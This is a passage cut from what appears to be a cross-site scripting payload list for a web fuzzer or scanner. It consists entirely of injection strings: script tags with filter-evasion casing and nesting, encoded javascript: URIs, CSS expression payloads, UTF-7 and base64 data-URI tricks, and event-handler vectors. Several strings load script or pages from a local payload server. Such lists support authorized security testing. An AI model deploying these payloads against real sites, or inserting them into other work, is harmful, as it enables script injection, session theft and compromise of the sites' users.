HREF=\"http://127.0.0.1:3555/xss_serve_payloads/X.html./\">X</A>\r\n<A HREF=\"javascript:document.location='http://127.0.0.1:3555/xss_serve_payloads/X.html'\">X</A>\r\n\"><A HREF=\"javascript:document.location='http://127.0.0.1:3555/xss_serve_payloads/X.html'\">X</A>\r\n'><A HREF=\"javascript:document.location='http://127.0.0.1:3555/xss_serve_payloads/X.html'\">X</A>\r\n<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#75;&#67;&#70;&#39;&#41;&#59;>\r\n\"><IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#75;&#67;&#70;&#39;&#41;&#59;>\r\n'><IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#75;&#67;&#70;&#39;&#41;&#59;>\r\n<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>\r\n\"><IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>\r\n'><IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>\r\n<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>\r\n\"><IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>\r\n'><IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>\r\n<DIV STYLE=\"background-image:\\0075\\0072\\006C\\0028'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029'\\0029\">\r\n\"><DIV STYLE=\"background-image:\\0075\\0072\\006C\\0028'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029'\\0029\">\r\n'><DIV STYLE=\"background-image:\\0075\\0072\\006C\\0028'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029'\\0029\">\r\n?><s?%2b?cript>alert(1)</script>\r\n?><ScRiPt>alert(1)</script>\r\n?><<script>alert(1);//<</script>\r\nfoo%00<script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n<scr<script>ipt>alert(1)</scr</script>ipt>\r\n\"><scr<script>ipt>alert(1)</scr</script>ipt>\r\n'><scr<script>ipt>alert(1)</scr</script>ipt>\r\n';alert(String.fromCharCode(75,67,70))//\\';alert(String.fromCharCode(75,67,70))//\";alert(String.fromCharCode(75,67,70))//\\\";alert(String.fromCharCode(75,67,70))//--&gt;&lt;/SCRIPT&gt;\"&gt;'&gt;&lt;SCRIPT&gt;alert(String.fromCharCode(75,67,70))&lt;/SCRIPT&gt;\r\n';alert(String.fromCharCode(75,67,70))//\\';alert(String.fromCharCode(75,67,70))//\";alert(String.fromCharCode(75,67,70))//\\\";alert(String.fromCharCode(75,67,70))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>=&{}\r\n'';!--\"&lt;X&gt;=&amp;{()}\r\n&lt;IMG SRC=\"javascript:alert(1);\"&gt;\r\n&lt;IMG SRC=javascript:alert(1)&gt;\r\n&lt;IMG SRC=JaVaScRiPt:alert(1)&gt;\r\n&lt;IMG SRC=javascript:alert(&amp;quot;X&amp;quot;)&gt;\r\n&lt;IMG SRC=`javascript:alert(\"Kerala Cyber Force says, 'X'\")`&gt;\r\n&lt;IMG \"\"\"&gt;&lt;SCRIPT&gt;alert(1)&lt;/SCRIPT&gt;\"&gt;\r\n&lt;IMG SRC=javascript:alert(String.fromCharCode(75,67,70))&gt;\r\n&lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;\r\n&lt;IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041&gt;\r\n&lt;IMG SRC=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt;\r\n&lt;IMG SRC=\"jav&#x09;ascript:alert(1);\"&gt;\r\n&lt;IMG SRC=\"jav&amp;#x09;ascript:alert(1);\"&gt;\r\n&lt;IMG SRC=\"jav&amp;#x0A;ascript:alert(1);\"&gt;\r\n&lt;IMG SRC=\"jav&amp;#x0D;ascript:alert(1);\"&gt;\r\n<IMG SRC=`javascript:alert(1)`>\r\n\"><IMG SRC=`javascript:alert(1)`>\r\n'><IMG SRC=`javascript:alert(1)`>\r\n&lt;IMG&#x0D;SRC&#x0D;=&#x0D;\"&#x0D;j&#x0D;a&#x0D;v&#x0D;a&#x0D;s&#x0D;c&#x0D;r&#x0D;i&#x0D;p&#x0D;t&#x0D;:&#x0D;a&#x0D;l&#x0D;e&#x0D;r&#x0D;t&#x0D;(&#x0D;'&#x0D;X&#x0D;S&#x0D;S&#x0D;'&#x0D;)&#x0D;\"&#x0D;>&#x0D;\r\n<IMG STYLE=\"X:expr/*X*/ession(alert(1))\">\r\n\"><IMG STYLE=\"X:expr/*X*/ession(alert(1))\">\r\n'><IMG STYLE=\"X:expr/*X*/ession(alert(1))\">\r\n<IMG DYNSRC=\"javascript:alert(1)\">\r\n\"><IMG DYNSRC=\"javascript:alert(1)\">\r\n'><IMG DYNSRC=\"javascript:alert(1)\">\r\n<img dynsrc=\"javascript:alert(1);\">\r\n\"><img dynsrc=\"javascript:alert(1);\">\r\n'><img dynsrc=\"javascript:alert(1);\">\r\n<IMG LOWSRC=\"javascript:alert(1)\">\r\n\"><IMG LOWSRC=\"javascript:alert(1)\">\r\n'><IMG LOWSRC=\"javascript:alert(1)\">\r\n<input type=\"image\" dynsrc=\"javascript:alert(1);\">\r\n\"><input type=\"image\" dynsrc=\"javascript:alert(1);\">\r\n'><input type=\"image\" dynsrc=\"javascript:alert(1);\">\r\n<STYLE>li {list-style-image: url(\"javascript:alert(1)\");}</STYLE><UL><LI>X\r\n\"><STYLE>li {list-style-image: url(\"javascript:alert(1)\");}</STYLE><UL><LI>X\r\n'><STYLE>li {list-style-image: url(\"javascript:alert(1)\");}</STYLE><UL><LI>X\r\n<DIV STYLE=\"width: expression(alert(1));\">\r\n\"><DIV STYLE=\"width: expression(alert(1));\">\r\n'><DIV STYLE=\"width: expression(alert(1));\">\r\n<div style=\"width: expression(alert(1););\">\r\n\"><div style=\"width: expression(alert(1););\">\r\n'><div style=\"width: expression(alert(1););\">\r\n<STYLE>@im\\port'\\ja\\vasc\\ript:alert(1)';</STYLE>\r\n\"><STYLE>@im\\port'\\ja\\vasc\\ript:alert(1)';</STYLE>\r\n'><STYLE>@im\\port'\\ja\\vasc\\ript:alert(1)';</STYLE>\r\n<X STYLE=\"X:expression(alert(1))\">\r\n\"><X STYLE=\"X:expression(alert(1))\">\r\n'><X STYLE=\"X:expression(alert(1))\">\r\nexp/*<A STYLE='no\\X:noX(\"*//*\");X:&#101;x&#x2F;*X*//*/*/pression(alert(1))'>\r\n<STYLE TYPE=\"text/javascript\">alert(1);</STYLE>\r\n\"><STYLE TYPE=\"text/javascript\">alert(1);</STYLE>\r\n'><STYLE TYPE=\"text/javascript\">alert(1);</STYLE>\r\n<STYLE>.X{background-image:url(\"javascript:alert(1)\");}</STYLE>\r\n\"><STYLE>.X{background-image:url(\"javascript:alert(1)\");}</STYLE>\r\n'><STYLE>.X{background-image:url(\"javascript:alert(1)\");}</STYLE>\r\n<A CLASS=X></A>\r\n\"><A CLASS=X></A>\r\n'><A CLASS=X></A>\r\n<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert(1)\")}</STYLE>\r\n\"><STYLE type=\"text/css\">BODY{background:url(\"javascript:alert(1)\")}</STYLE>\r\n'><STYLE type=\"text/css\">BODY{background:url(\"javascript:alert(1)\")}</STYLE>\r\n<?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\">\r\n\"><?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\">\r\n'><?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\">\r\n<? echo('<SCR)';echo('IPT>alert(1)</SCRIPT>'); ?>\r\n\"><? echo('<SCR)';echo('IPT>alert(1)</SCRIPT>'); ?>\r\n'><? echo('<SCR)';echo('IPT>alert(1)</SCRIPT>'); ?>\r\n<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;alert(1)&lt;/SCRIPT&gt;\">\r\n\"><META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;alert(1)&lt;/SCRIPT&gt;\">\r\n'><META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;alert(1)&lt;/SCRIPT&gt;\">\r\n<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert(1);+ADw-/SCRIPT+AD4-\r\n\"><HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert(1);+ADw-/SCRIPT+AD4-\r\n'><HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert(1);+ADw-/SCRIPT+AD4-\r\n<XML ID=0><I><B>&lt;IMG SRC=\"javas<!-- -->cript:alert(1)\"&gt;</B></I></XML>\r\n\"><XML ID=0><I><B>&lt;IMG SRC=\"javas<!-- -->cript:alert(1)\"&gt;</B></I></XML>\r\n'><XML ID=0><I><B>&lt;IMG SRC=\"javas<!-- -->cript:alert(1)\"&gt;</B></I></XML>\r\n<SPAN DATASRC=\"#X\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>\r\n\"><SPAN DATASRC=\"#X\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>\r\n'><SPAN DATASRC=\"#X\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>\r\na=\"get\";b=\"URL(\\\"\";c=\"javascript:\";d=\"alert(1);\\\")\";eval(a+b+c+d);\r\n<?import namespace=\"t\" implementation=\"#default#time2\"><t:set attributeName=\"innerHTML\" to=\"X&lt;SCRIPT DEFER&gt;alert(&quot;X&quot;)&lt;/SCRIPT&gt;\"></BODY></HTML>\r\n\"><?import namespace=\"t\" implementation=\"#default#time2\"><t:set attributeName=\"innerHTML\" to=\"X&lt;SCRIPT DEFER&gt;alert(&quot;X&quot;)&lt;/SCRIPT&gt;\"></BODY></HTML>\r\n'><?import namespace=\"t\" implementation=\"#default#time2\"><t:set attributeName=\"innerHTML\" to=\"X&lt;SCRIPT DEFER&gt;alert(&quot;X&quot;)&lt;/SCRIPT&gt;\"></BODY></HTML>\r\n<xml src=\"javascript:alert(1);\">\r\n\"><xml src=\"javascript:alert(1);\">\r\n'><xml src=\"javascript:alert(1);\">\r\n<xml id=\"X\"><a><b><script>alert(1);</script>\r\n</ScrIpt><script>alert(1);</script>\r\n\"><script>alert(1);</script>\r\n</ScrIpt><script>alert(1);</script>\r\n'><script>alert(1);</script>\r\n</ScrIpt><script>alert(1);</script>;</b></a></xml>\r\n<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#X\"></div>\r\n\"><div datafld=\"b\" dataformatas=\"html\" datasrc=\"#X\"></div>\r\n'><div datafld=\"b\" dataformatas=\"html\" datasrc=\"#X\"></div>\r\n<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert(1);\">]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>\r\n\"><XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert(1);\">]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>\r\n'><XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert(1);\">]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>\r\n%253cscript%253ealert(1)%253c/script%253e\r\nfoo\\?; alert(1);//?;\r\n[b][style=\"style=width:expre/**/ssion(alert(1))xt]bold[/style][/b]\r\n[b][style=\"onmouseover=\"alert(1);]bold[/style][/b]\r\n</script><script >alert(1)</script>\r\n\"></script><script >alert(1)</script>\r\n'></script><script >alert(1)</script>\r\n?; alert(1); var foo=?\r\n<img src=\"\" onerror=alert(1)>\r\n\"><img src=\"\" onerror=alert(1)>\r\n'><img src=\"\" onerror=alert(1)>\r\n<img src=\"\" onerror=alert(1);>\r\n\"><img src=\"\" onerror=alert(1);>\r\n'><img src=\"\" onerror=alert(1);>\r\n><img src=\"x:x\" onerror=alert(1)>\r\ns%22%20style=x:expression(alert(1))\r\ns%22%20style=%22background:url(javascript:alert(?X?))\r\ns%22%20%22+STYLE%3D%22background-image%3A+expression%28alert%28%27X%3F%29%29\r\n%22/%3E%3Cmeta%20http-equiv=refresh%20content=0;javascript:alert(1);>\r\n<IMG SRC=\" \u000e  javascript:alert(1);\">\r\n\"><IMG SRC=\" \u000e  javascript:alert(1);\">\r\n'><IMG SRC=\" \u000e  javascript:alert(1);\">\r\n&lt;IMG SRC=\" &amp;#14;  javascript:alert(1);\"&gt;\r\n&lt;SCRIPT/X SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"&gt;&lt;/SCRIPT&gt;\r\n&lt;SCRIPT/X SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"&gt;&lt;/SCRIPT&gt;\r\n&lt;BODY onload!#$%&amp;()*~+-_.,:;?@[/|\\]^`=alert(1)&gt;\r\n&lt;&lt;SCRIPT&gt;alert(1);//&lt;&lt;/SCRIPT&gt;\r\n&lt;IMG SRC=\"javascript:alert(1)\"\r\n&lt;iframe src=http://127.0.0.1:3555/xss_serve_payloads/X.html &lt;\r\n&lt;SCRIPT&gt;a=/X/\r\nalert(a.source)&lt;/SCRIPT&gt;\r\n&lt;/TITLE&gt;&lt;SCRIPT&gt;alert(1);&lt;/SCRIPT&gt;\r\n&lt;INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert(1);\"&gt;\r\n&lt;BODY BACKGROUND=\"javascript:alert(1)\"&gt;\r\n&lt;BODY ONLOAD=alert(1)&gt;\r\n&lt;IMG LOWSRC=\"javascript:alert(1)\"&gt;\r\n&lt;BGSOUND SRC=\"javascript:alert(1);\"&gt;\r\n&lt;BR SIZE=\"&{alert(1)}\"&gt;\r\n&lt;STYLE&gt;li {list-style-image: url(&quot;javascript:alert(&#39;X&#39;)&quot;);}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;X\r\n&lt;IMG SRC='vbscript:msgbox(1)'&gt;\r\n&lt;IMG SRC=\"mocha:[code]\"&gt;\r\n&lt;IMG SRC=\"livescript:[code]\"&gt;\r\n<img src='vbscript:do%63ument.lo%63ation=\"http://127.0.0.1:3555/xss_serve_payloads/X.html\"'>\r\n\"><img src='vbscript:do%63ument.lo%63ation=\"http://127.0.0.1:3555/xss_serve_payloads/X.html\"'>\r\n'><img src='vbscript:do%63ument.lo%63ation=\"http://127.0.0.1:3555/xss_serve_payloads/X.html\"'>\r\n&lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert(1);\"&gt;\r\n&lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\"&gt;\r\n&lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert(1);\"&gt;\r\n&lt;IFRAME SRC=\"javascript:alert(1);\"&gt;&lt;/IFRAME&gt;\r\n&lt;FRAMESET&gt;&lt;FRAME SRC=\"javascript:alert(1);\"&gt;&lt;/FRAMESET&gt;\r\n&lt;TABLE BACKGROUND=\"javascript:alert(1)\"&gt;\r\n&lt;TABLE&gt;&lt;TD BACKGROUND=\"javascript:alert(1)\"&gt;\r\n&lt;DIV STYLE=\"background-image: url(javascript:alert(1))\"&gt;\r\n&lt;DIV STYLE=\"background-image:\\0075\\0072\\006C\\0028'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029'\\0029\"&gt;\r\n&lt;DIV STYLE=\"background-image: url(&amp;#1;javascript:alert(1))\"&gt;\r\n&lt;DIV STYLE=\"width: expression(alert(1));\"&gt;\r\n&lt;STYLE&gt;@im\\port'\\ja\\vasc\\ript:alert(1)';&lt;/STYLE&gt;\r\n&lt;IMG STYLE=\"X:expr/*X*/ession(alert(1))\"&gt;\r\n&lt;X STYLE=\"X:expression(alert(1))\"&gt;\r\nexp/*&lt;A STYLE='no\\X:noX(\"*//*\");\r\n&lt;STYLE TYPE=\"text/javascript\"&gt;alert(1);&lt;/STYLE&gt;\r\n&lt;STYLE&gt;.X{background-image:url(\"javascript:alert(1)\");}&lt;/STYLE&gt;&lt;A CLASS=X&gt;&lt;/A&gt;\r\n&lt;STYLE type=\"text/css\"&gt;BODY{background:url(\"javascript:alert(1)\")}&lt;/STYLE&gt;\r\n&lt;SCRIPT&gt;alert(1);&lt;/SCRIPT&gt;\r\n&lt;BASE HREF=\"javascript:alert(1);//\"&gt;\r\n&lt;OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://127.0.0.1:3555/xss_serve_payloads/X.html\"&gt;&lt;/OBJECT&gt;\r\n&lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript:alert(1)&gt;&lt;/OBJECT&gt;\r\n&lt;EMBED SRC=\"data:image/svg+xml;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"&gt;&lt;/EMBED&gt;\r\na=\"get\";&#10;b=\"URL(\\\"\";&#10;c=\"javascript:\";&#10;d=\"alert(1);\\\")\";&#10;eval(a+b+c+d);\r\n&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;![CDATA[&lt;IMG SRC=\"javas]]&gt;&lt;![CDATA[cript:alert(1);\"&gt;]]&gt;\r\n&lt;/C&gt;&lt;/X&gt;&lt;/xml&gt;&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;\r\n&lt;XML ID=0&gt;&lt;I&gt;&lt;B&gt;&amp;lt;IMG SRC=\"javas&lt;!-- --&gt;cript:alert(1)\"&amp;gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt;\r\n&lt;SPAN DATASRC=\"#X\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"&gt;&lt;/SPAN&gt;\r\n&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;\r\n&lt;HTML&gt;&lt;BODY&gt;\r\n&lt;?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\"&gt;\r\n&lt;?import namespace=\"t\" implementation=\"#default#time2\"&gt;\r\n&lt;t:set attributeName=\"innerHTML\" to=\"X&amp;lt;SCRIPT DEFER&amp;gt;alert(&amp;quot;X&amp;quot;)&amp;lt;/SCRIPT&amp;gt;\"&gt;\r\n&lt;/BODY&gt;&lt;/HTML&gt;\r\n&lt;? echo('&lt;SCR)';\r\necho('IPT&gt;alert(1)&lt;/SCRIPT&gt;'); ?&gt;\r\n&lt;META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&amp;lt;SCRIPT&amp;gt;alert(1)&amp;lt;/SCRIPT&amp;gt;\"&gt;\r\n&lt;HEAD&gt;&lt;META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-alert(1);+ADw-/SCRIPT+AD4-\r\n&lt;A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\"&gt;X&lt;/A&gt;\r\n&lt;A HREF=\"http://1113982867/\"&gt;X&lt;/A&gt;\r\n&lt;A HREF=\"http://0x42.0x0000066.0x7.0x93/\"&gt;X&lt;/A&gt;\r\n&lt;A HREF=\"http://0102.0146.0007.00000223/\"&gt;X&lt;/A&gt;\r\n&lt;A HREF=\"h&#x0A;tt&#09;p://6&amp;#9;6.000146.0x7.147/\"&gt;X&lt;/A&gt;\r\n&lt;A HREF=\"//127.0.0.1:3555/xss_serve_payloads/X.html\"&gt;X&lt;/A&gt;\r\n&lt;A HREF=\"http://127.0.0.1:3555/xss_serve_payloads/X.html\"&gt;X&lt;/A&gt;\r\n&lt;A HREF=\"http://127.0.0.1:3555/xss_serve_payloads/X.html./\"&gt;X&lt;/A&gt;\r\n&lt;A HREF=\"javascript:document.location='http://127.0.0.1:3555/xss_serve_payloads/X.html'\"&gt;X&lt;/A&gt;\r\n&lt;A HREF=\"http://www.keralacyberhttp://www.keralacyberforce.in/force.in/\"&gt;X&lt;/A&gt;\r\n<form id=\"test\" /><button form=\"test\" formaction=\"javascript:alert(1)\">X\r\n\"><form id=\"test\" /><button form=\"test\" formaction=\"javascript:alert(1)\">X\r\n'><form id=\"test\" /><button form=\"test\" formaction=\"javascript:alert(1)\">X\r\n<input onblur=javascript:alert(1) autofocus><input autofocus>\r\n\"><input onblur=javascript:alert(1) autofocus><input autofocus>\r\n'><input onblur=javascript:alert(1) autofocus><input autofocus>\r\n<video poster=javascript:alert(1)//<video poster=javascript:alert(1)//></video>\r\n\"><video poster=javascript:alert(1)//></video>\r\n'><video poster=javascript:alert(1)//></video>\r\n\"><video poster=javascript:alert(1)//<video poster=javascript:alert(1)//></video>\r\n\"><video poster=javascript:alert(1)//></video>\r\n'><video poster=javascript:alert(1)//></video>\r\n'><video poster=javascript:alert(1)//<video poster=javascript:alert(1)//></video>\r\n\"><video poster=javascript:alert(1)//></video>\r\n'><video poster=javascript:alert(1)//></video>\r\n<head><base href=\"javascript://\"/></head><body><a href=\"/. /,alert(1)//#\">XXX</a></body>\r\n\"><head><base href=\"javascript://\"/></head><body><a href=\"/. /,alert(1)//#\">XXX</a></body>\r\n'><head><base href=\"javascript://\"/></head><body><a href=\"/. /,alert(1)//#\">XXX</a></body>\r\n<SCRIPT FOR=document EVENT=onreadystatechange>alert(1)</SCRIPT>\r\n\"><SCRIPT FOR=document EVENT=onreadystatechange>alert(1)</SCRIPT>\r\n'><SCRIPT FOR=document EVENT=onreadystatechange>alert(1)</SCRIPT>\r\n<OBJECT CLASSID=\"clsid:333C7BC4-460F-11D0-BC04-0080C7055A83\"><PARAM NAME=\"DataURL\" VALUE=\"javascript:alert(1)\"></OBJECT>\r\n\"><OBJECT CLASSID=\"clsid:333C7BC4-460F-11D0-BC04-0080C7055A83\"><PARAM NAME=\"DataURL\" VALUE=\"javascript:alert(1)\"></OBJECT>\r\n'><OBJECT CLASSID=\"clsid:333C7BC4-460F-11D0-BC04-0080C7055A83\"><PARAM NAME=\"DataURL\" VALUE=\"javascript:alert(1)\"></OBJECT>\r\n<embed src=\"data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\"></embed>\r\n\"><embed src=\"data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\"></embed>\r\n'><embed src=\"data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\"></embed>\r\n<form id=\"test\"></form><button form=\"test\" formaction=\"javascript:alert(1)\">X</button>\r\n\"><form id=\"test\"></form><button form=\"test\" formaction=\"javascript:alert(1)\">X</button>\r\n'><form id=\"test\"></form><button form=\"test\" formaction=\"javascript:alert(1)\">X</button>\r\n<b <script>alert(1)//</script>0</script></b>\r\n\"><b <script>alert(1)//</script>0</script></b>\r\n'><b <script>alert(1)//</script>0</script></b>\r\n<script src=\"javascript:alert(1)\">\r\n\"><script src=\"javascript:alert(1)\">\r\n'><script src=\"javascript:alert(1)\">\r\n<image src=\"javascript:alert(1)\">\r\n\"><image src=\"javascript:alert(1)\">\r\n'><image src=\"javascript:alert(1)\">\r\n<div style=width:1px;filter:glow onfilterchange=alert(1)>x\r\n\"><div style=width:1px;filter:glow onfilterchange=alert(1)>x\r\n'><div style=width:1px;filter:glow onfilterchange=alert(1)>x</div>\r\n\"><div style=width:1px;filter:glow onfilterchange=alert(1)>x\r\n\"><div style=width:1px;filter:glow onfilterchange=alert(1)>x\r\n'><div style=width:1px;filter:glow onfilterchange=alert(1)>x</div>\r\n'><div style=width:1px;filter:glow onfilterchange=alert(1)>x\r\n\"><div style=width:1px;filter:glow onfilterchange=alert(1)>x\r\n'><div style=width:1px;filter:glow onfilterchange=alert(1)>x</div>\r\n<? foo=\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\">\r\n<! foo=\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\">\r\n</ foo=\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\">\r\n<? foo=\"><x foo='?><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>'>\">\r\n<! foo=\"[[[Inception]]\"><x foo=\"]foo><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\">\r\n<% foo><x foo=\"%><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\">\r\n<iframe src=mhtml:http://127.0.0.1:3555/xss_serve_payloads/X.html!X.html></iframe>\r\n\"><iframe src=mhtml:http://127.0.0.1:3555/xss_serve_payloads/X.html!X.html></iframe>\r\n'><iframe src=mhtml:http://127.0.0.1:3555/xss_serve_payloads/X.html!X.html></iframe>\r\n<iframe src=mhtml:http://127.0.0.1:3555/xss_serve_payloads/X.gif!X.html></iframe>\r\n\"><iframe src=mhtml:http://127.0.0.1:3555/xss_serve_payloads/X.gif!X.html></iframe>\r\n'><iframe src=mhtml:http://127.0.0.1:3555/xss_serve_payloads/X.gif!X.html></iframe>\r\n<div id=d><x xmlns=\"><iframe onload=alert(1)\"></div> <script>d.innerHTML=d.innerHTML</script>\r\n\"><div id=d><x xmlns=\"><iframe onload=alert(1)\"></div> <script>d.innerHTML=d.innerHTML</script>\r\n'><div id=d><x xmlns=\"><iframe onload=alert(1)\"></div> <script>d.innerHTML=d.innerHTML</script>\r\n<img[a][b]src=x[d]onerror[c]=[e]\"alert(1)\">\r\n\"><img[a][b]src=x[d]onerror[c]=[e]\"alert(1)\">\r\n'><img[a][b]src=x[d]onerror[c]=[e]\"alert(1)\">\r\n<a 